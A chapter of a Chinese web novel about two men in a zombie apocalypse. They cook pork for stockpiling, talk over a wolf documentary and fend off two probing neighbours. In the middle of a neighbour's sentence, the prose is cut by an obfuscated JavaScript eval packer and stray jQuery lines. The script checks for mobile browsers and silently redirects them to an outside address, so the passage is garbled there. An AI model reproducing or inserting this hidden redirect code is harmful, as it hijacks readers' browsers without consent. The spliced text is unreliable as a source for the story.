今天的晚饭，是烤串。


    荒野版。


    萧郢确认郎野的确是有些不开心，虽然他这张脸瞧起来还是和以往一样。


    只是他无意探究，为何下午时明明一切都很顺利，他神色却更凝重了。


    但他还是隐隐觉得，或许是今天的教学任务太过简单，反而让他不自在了。他看得出来郎野自尊心还是很强的，就看他上一世还会摸索自学、猜着识字来看，就能知道一二。


    不过学习进度不能改。


    萧郢的方法是，可以做一顿郎野喜欢吃的饭。


    当然，还是郎野来做。


    他从空间里取出了1斤半的五花肉和猪腿肉，2斤地瓜和土豆，还有一颗大白菜、半根萝卜，交给了郎野。


    “好久没烤肉了，麻烦你了。”


    郎野朝着萧郢看了一眼，随后点点头，道：“可以再拿出一些肉来，顺便多烤一些放起来，以后吃着也方便。”


    “也可。”萧郢道：“既然如此，不如就把烤盘放到餐桌上吧，一起动手效率高一点。”


    末世前，他们在超市几乎囤了所有电锅，煎炒烹炸几乎都能覆盖到。


    家里的餐桌也不小，郎野直接将桌子一分为二，左侧被他放上了菜板，用来切菜，右侧同样分了两部分，一半放置好了电磁炉和烤盘，另一半则用来放置切好的菜和肉。


    整张桌子，都是他的战场。


    至于萧郢，还是被分配去了剥蒜。


    没错，甚至连洗菜都用不到他。现在的自来水虽然还没停，但流量已经小到连正常时期的十分之一都不到。他们自己囤的水，也要节省着用。


    可偏偏萧郢是一个重度洁癖患者，让他只大略冲一冲蔬菜，是一件十分“残忍”的事情。


    虽然他也主动提出过，会克服这个问题，并且完成得其实还算不错。


    只是郎野在看他面如菜色的表情时，还是将这个工作也接了过来。


    毕竟，他去做这个事情，基本不费什么功夫。


    萧郢在桌子边找了一个角落，已经开始了他今天的“剥蒜”工作，身边的平板电脑，放着纪录片，声音不算大，不远处还能听到水流声，还有郎野粗狂的洗菜声。


    厨房的水声很快停了下来，萧郢没有抬头，他的注意力主要放在眼前的大蒜上，视线偶尔会放在平板上播放的视频里。


    【北极白狼是灰狼的极地亚种。】


    【作为极地顶级掠食者，白狼身形矫健，通体纯白无杂色，是最适应极寒环境的狼类。】（1）


    ……


    他感觉头顶一暗，好像被遮住了光，才抬头看向他，正要让他让一让位置，却发现他的视线也放在平板上，便笑道：“喜欢看？”


    “没有。”他挪开视线，拿过菜刀，开始切肉，“你喜欢，看这些？”


    “还好。我当时随便下了一些，刚才挑的时候，看见这个介绍，提到了白狼，所以看看。”他把一颗蒜放到旁边，道：“我们之前也打猎，草原上的狼不少，我也射过几头，只是从没听说过白狼。”


    “嗯，的确少见，数量不多。”


    蒜已经剥得差不多了，萧郢把视线全部放在了纪录片上，又道：“不过，你看这匹狼，不知道是不是因为吃得更好一些，看着还挺健硕。还有这一身白毛，就是要比草原上的灰狼好看。”


    “嗯。”郎野低声应着，只是感觉声音比往常轻了几分，倒是显出些柔和来。


    “你也这样想罢？”萧郢道：“我之前就觉得灰狼的皮毛做成大氅也不好看，白狐的颜色虽然好些，但也少有像这个视频里这样毛色纯白，没有丝毫杂色的。”


    他说着，又叹气道：“可惜了，在这里是猎不成了。”


    “帮我拿一下调料过来吧。”郎野忽然道。


    一般的调料是没有放在空间里的，萧郢听到郎野的话，就起身往厨房去拿。他如今已经能分别出绝大部分调料了，对于烤肉的事情，他多少也知道一些，不算是纯小白，也就不用郎野多说，自然拿了齐全，放在了桌上。


    “提起这个，我到忘了。你来时的兽皮裙呢？怎么都没见过了？还是清洗干净再收起来吧。”


    “洗过了的，收好了。”他又问，“怎么？”


    他今天似乎总是在反问自己，萧郢有些奇怪地看了他一眼，随即收回视线，道：“顺便一问。”


    而且，直到吃上了烤肉，也没见他欢喜起来。


    【它们生性坚韧，能在极端恶劣的气候中长途跋涉、寻觅食物，是生命力极强的犬科动物。】


    旁边的纪录片还在播放着，萧郢还会时不时品评几句。但更多的时候，还是在专心吃着烤肉。


    这次的烤肉技术，明显比郎野最初来他家时，做得那一顿好上太多，“你跟我说实话，你开始是不是在我跟前故意藏着手艺，没露真功夫？”


    他看向对面，只见郎野将嘴里的肉咽下去，就道：“我之前的确不会。我说过的，我对食物的要求不高，那样就很好了。而且很方便。”


    萧郢无语笑道：“确实方便。”几乎什么都不用处理，撒点盐，就烤来吃了，再没有比这更方便的了。


    今天的餐后消食活动，仍然是烤肉。


    天色已黑，屋内的窗帘都被拉了起来。


    萧郢还是没敢点开房间的主灯，只是找了盏台灯打开，放在桌子上。两个人仿佛机器人般，往托盘里投放肉类。


    他们没有打开吸油烟机，屋内的窗缝、门缝也都被郎野用异能裹上了冰霜。


    屋内的烤肉味一丝也透不出去。


    不过，屋里的烤肉味的确是越来越浓了。而且，他们这次烤肉，是用来做储备粮的，还是更偏向于郎野原先的方法，屋内很快就被烤肉的烟气淹没。


    “咳咳。”


    萧郢感觉自己也要被烤肉腌入味了，他眯着眼睛夹肉，烤肉，看见盘子堆满了，就收起来放进空间里，周而复始。


    直到，被抓住了手腕。


    他微微抬头，看向郎野，因为烟雾气，他的眼睛有些泛红，看着郎野的视线，还带了些平时几乎不会出现的迷茫。


    “怎么了？”他又看了看桌上切好的肉，眼神有些发直，“你要是累了……”


    “站到我旁边来。”他说着，直接拉着萧郢的手腕，往自己身边带了带。


    后者才靠过去，就感觉周边气息一凉，原本前方难以消散的，烤肉带来的烟雾，都被冰霜取代，只是这次郎野释放的冰霜，并没有遮挡视线，只是让人感觉空气都清新了许多。


    “多谢。”


    “没事。”郎野扯起嘴角，微微摇头，随后又迅速放下，将视线重新放回到烤肉上去。


    接下来的两天，萧郢和郎野几乎不是在做储备粮，就是在读书。


    他们买来的猪肉最多，又是整头猪来买的，除了已经做了烤肉的一部分五花肉，还有两个猪头，十个猪蹄，另外还有两大扇排骨没有做。


    郎野先处理的也是这一批肉。


    幸而，排骨已经让老板提前切好，否则，若是放到现在，在家里剁排骨的声音传出去，说不得会有邻居认为他们是在家里杀人剖尸。


    或者，是饿急了，要吃人肉。


    当然，即便是有这种误会，也不会在这时候，有人上门来讨伐，最多是被人腹诽几句。


    这剩下的两头猪的猪肉。


    猪头去毛、洗净，冷水下锅，去掉血水。


    把买来的调味品和香料，下进去了大半。


    再炖了将近两个小时，香味飘散出来，又聚在屋内。


    切好，收盘，装入空间。


    其余的肉和菜，几乎也是这样的流水线处理。椒盐排骨、萝卜炖五花肉、香辣猪蹄，他们厨房的锅具，基本是处于，郎野休息，它休息，郎野起床，它作业的状态。


    但即便是这样忙了两日，也没有处理好两只猪的全部猪肉。


    萧郢把今天的最后一锅排骨，放在保鲜盒里，又找出纸巾，擦起了厨房的备菜台。


    “忙了两天了，今晚先歇歇，明天再去打几个晶核回来吧。”他把纸巾扔到垃圾桶内，又用湿巾给自己擦了擦手，随后看向郎野，视线瞥到他的手上，抽出了另一张递给他，接着道：“咱们直接去小区里面吧？顺便把隔壁的几个丧尸处理掉，一直放在那儿，总是个麻烦。”


    “可以。”郎野仔细擦着手，点头道：“家里的绳子够用，可以下去。不过，你确认可以吗？”


    “我的骑射功夫还是不错的，只是可惜，我来得太晚了，时间不够，要是弄到好一些的弓箭，处理起那些丧尸来总要比现在方便。”


    “知道了。”郎野拉着萧郢坐到餐桌旁，“还是只想吃白菜吗？”


    萧郢“嗯”了一声，点头道：“凉拌白菜，再吃根玉米就好了。”


    他其实是有些被这两天，屋内接连不断的肉味，堵得没了胃口。郎野是的确是一个完全不挑剔的人，虽然他对肉食的食欲还是没有丝毫减少，但这两天也在陪着萧郢吃素。


    虽然后者并没有要求他这样做，甚至还提出了分餐，只是被郎野拒绝。


    于是，两人现在就只能在桌上，看着凉拌的白菜丝，手里拿着煮玉米，默默无言地当自己是素食动物。


    平板里的视频，也改成了山野植物的纪录片，现在正介绍着云南的野生茶树。


    不过是当作背景音放着。


    大多也只是风声，树叶声，偶尔传来几句鸟叫声，但也没法盖住小区里传来的丧尸吼叫声。


    还有……楼梯间的脚步声！


    萧郢只见着郎野夹菜的手突然停住，迅速起身将视频暂停，随后轻声走到门前。萧郢见他如此，马上将桌上的菜和玉米都收到了空间中，又将视线在正对着门的客厅里仔细扫视了一遍，将太阳能光伏板用冬天的被子罩住，确认没有不该出现的东西，才也抬脚走到门前。


    他感觉郎野虽然一直在注意着门外的动静，也做好了攻击姿势，一只手握在了门把手上，但其实并不紧张，他的脊背挺直，却不紧绷，甚至还能分出一些心神，关注自己的动作。


    萧郢没有说话，只是走到了郎野旁边，站到了门的另一侧。


    此时外面的脚步声已经很近了，即便是萧郢也能听得到门外的动静。


    “哥，这四楼看起来比三楼还干净，能有东西吗？”


    “你知道什么？”一个男生道：“楼下那两家，分明是要逃出去，说不定走之前把家里能用的都收拾了，东西自然少。可楼上这两家，可不一样，算了，你跟着我走就行了。”


    “可是万一人家很厉害，而且人还没死，咱们来找吃得不合适吧？”


    “想什么呢？”那年长的男生道：“谁说我们是来拿人家的吃


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138311|196019||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的？”


    其实他们说话的声音并不很大，如果不是萧郢就站在门前，也未必能听得清他们的说话声。


    萧郢感觉外面的声音忽然停了下来，随后又是一圈明显的脚步声，他们看起来并不打算隐藏自己的动作。他想着刚才的对话，将郎野拉到了沙发上，一副不知道外面有人的模样。


    外面的敲门声响起，但却不是在敲他们家的门。


    那老夫妻家的丧尸尸体，和两位主人的尸体都还没收。


    可萧郢没动作，郎野也没起身。


    他们听到外面的声音停了几分钟，随后，他们家的门被敲起。


    萧郢没有多说。


    这房子的隔音的确是不好，他只是看向郎野，低了个眼神。


    后者便即起身，打开房门。


    还是一副冷淡的样子，乍一看和平常没什么区别。


    “诶，你好你好。”那位刚刚说话的“哥”，道：“我叫尹宾，这是我表弟罗航，我们一家就住在二楼。这位小兄弟，你这是……”


    尹宾说着，就想要探头，绕过郎野的身子，向里看去，只是门本身就只开了一半，郎野又身宽背挺，将客厅内的萧郢遮得严实，“有事吗？”


    “啊，是这样。”他抬头看向郎野，脸上还是带着笑，说话的声音随和地不像是在经历末世，只是和往常一样，在和邻居联络感情，“你看啊，咱们都住在这个楼里，现在看着，咱们这单元的活人，也没几个。”


    他说到这里时，声音明显低落了下去，“咱们在一个单元住着，又是楼上楼下的，有什么事情也该互相照应照应，所以才带着表弟上来看看。”


    “谢谢。”


    尹宾一哽，随后又道：“我看我比你虚长几岁，就也厚脸叫你一声弟弟了。我知道现在年头不好，人难免警惕几分。”


    他说着拉过站在身边的罗航，到自己身边来，一只胳膊揽在他的肩上，道：“都不用说别人，就我这弟弟，这几天就长进不少了。要是放在以前，哪里敢和我一起来找物资，看情况啊。”


    “嗯。”


    郎野还是一副不愿意说话的模样。


    尹宾正要在说什么，就听见屋内传来了几声咳嗽声，便问道：“家里有人生病了？是萧家的小子吧，诶，我们邻里邻居也住了不少年了。我就说这小孩儿知道我来，怎么能不出来呢？是上回流感还没好吗？”


    “嗯。”郎野照旧应了一声，随后多了一句话，“还有事吗？”


    “没事没事，就是看看情况，你们要是有事让我们帮忙，就来楼下敲门，虽然现在家里都困难，但是能搭把手的，还是得搭把手，要不然这日子怎么过呢，你说是吧，小兄弟。”


    罗航也在一旁不住点头。只是他见郎野一副不耐烦的模样，眼神又比旁人多了几分冷厉，便不大敢继续上前，反而伸手拽了拽尹宾的衣袖。


    尹宾此时自觉也有些摸到了郎野的性子，想着屋里面的咳嗽声，顿了顿，也从顺如流，道：“我们这就走了。诶，对了，你们隔壁的人，怎么样了，知道吗？”


    郎野本已转身要关门，听到他的话，就又回头看了他一眼，道：“死了。”


    “死，死了？”罗航问道：“是变成丧尸了吗？”


    “不是，死了。”


    “啊？死了？”


    “怎么，咳咳，怎么这么久？”


    郎野原本要关门，只是萧郢从房内走了出来，脚步有些虚浮，脸色也不好，走到他们跟前，轻靠墙面站着，门外罗航拉着尹宾又向后退了一步，他看着这两人，神色不变，问道：“我们这阵子一直没敢开门，只怕有丧尸，尹大哥和罗小弟这样上来，没问题吗？”


    “哦。”尹宾脸上还是笑着，回道：“二楼的丧尸被我们砍了，见三楼没丧尸，所以才上来看看。”


    萧郢点点头，又道：“那一楼呢？现在能出去吗？尹大哥刚说的话，我也听到了。一直待在家里坐吃山空，的确不是办法，还是得出去才行，不然早晚要被饿死。”


    “一楼，一楼的单元门关得不严，楼道里有一些没跑出去的丧尸，外面还有丧尸撞门，我和我哥没敢下去。”


    尹宾瞥了罗航一眼，随后对着萧郢道：“这事还需要从长计议。”


    “确实。”萧郢点点头，又忍不住咳嗽了起来，道：“你们也看到了，我如今是没力气杀丧尸了，也不知道还能不能好。”


    他说着，又长叹了一口气，道：“也不知道咱们这楼里还有没有其他人活着。”


    “有啊，我们家就……”


    “好了，罗航。”尹宾道：“我们家里情况确实稍微好些，只是也艰难，但到底还有个照应的，都是亲戚，能放心些。我原来还有些担心，萧老弟，你自己一个人住不方便，见你有人照应，我也放心了。对了，你们是同学吗？之前倒是没见过这位小兄弟。”


    尹宾看见郎野突然朝自己看来，眼神比刚才又冷了几分，下意识转过视线，看向面善的萧郢，等待答案。


    “算是吧。”萧郢忍着咳嗽，道：“我这身子实在是撑不住了，就失陪了，尹大哥要是有事，等我好些再说吧。”


    “诶。”尹宾还要说话，却只听见“砰”的一声，眼前一黑，房门被关上。


    他们的动静闹得有些过大，六楼的丧尸嚎叫声也跟着大了起来，几乎压住了，门里门外，各自交谈的声音。